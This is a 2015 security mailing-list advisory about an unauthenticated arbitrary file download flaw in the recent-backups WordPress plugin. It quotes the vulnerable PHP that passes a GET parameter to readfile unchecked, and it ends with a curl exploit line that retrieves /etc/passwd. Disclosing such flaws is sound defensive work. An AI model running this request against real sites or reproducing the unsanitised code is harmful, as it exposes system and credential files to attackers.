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Date: Tue, 14 Jul 2015 17:25:57 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Remote file download vulnerability in recent-backups v0.7 wordpress
plugin
Title: Remote file download vulnerability in recent-backups v0.7 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-13
Download Site: https://wordpress.org/plugins/recent-backups
Vendor: https://profiles.wordpress.org/andycheeseman/
Vendor Notified: 2015-07-13
Vendor Contact: plugins@...dpress.org
Description: To be used with the BackupWordPress plugin to list the contents of the backup directory in a dashboard widget.
Vulnerability:
The code in download-file.php doesn't verify the user is logged in or sanitize what files can be downloaded. This vulnerability can be used
to download sensitive system files:
2 $file = $_GET['file_link'];
3
4 if (file_exists($file)) {
5 header('Content-Description: File Transfer');
6 header('Content-Type: application/octet-stream');
7 header('Content-Disposition: attachment; filename='.basename($file));
8 header('Content-Transfer-Encoding: binary');
9 header('Expires: 0');
10 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
11 header('Pragma: public');
12 header('Content-Length: ' . filesize($file));
13 ob_clean();
14 flush();
15 readfile($file);
CVEID:
OSVDB:
Exploit Code:
• $ curl -v "http://www.example.com/wp-content/plugins/recent-backups/download-file.php?file_link=/etc/passwd
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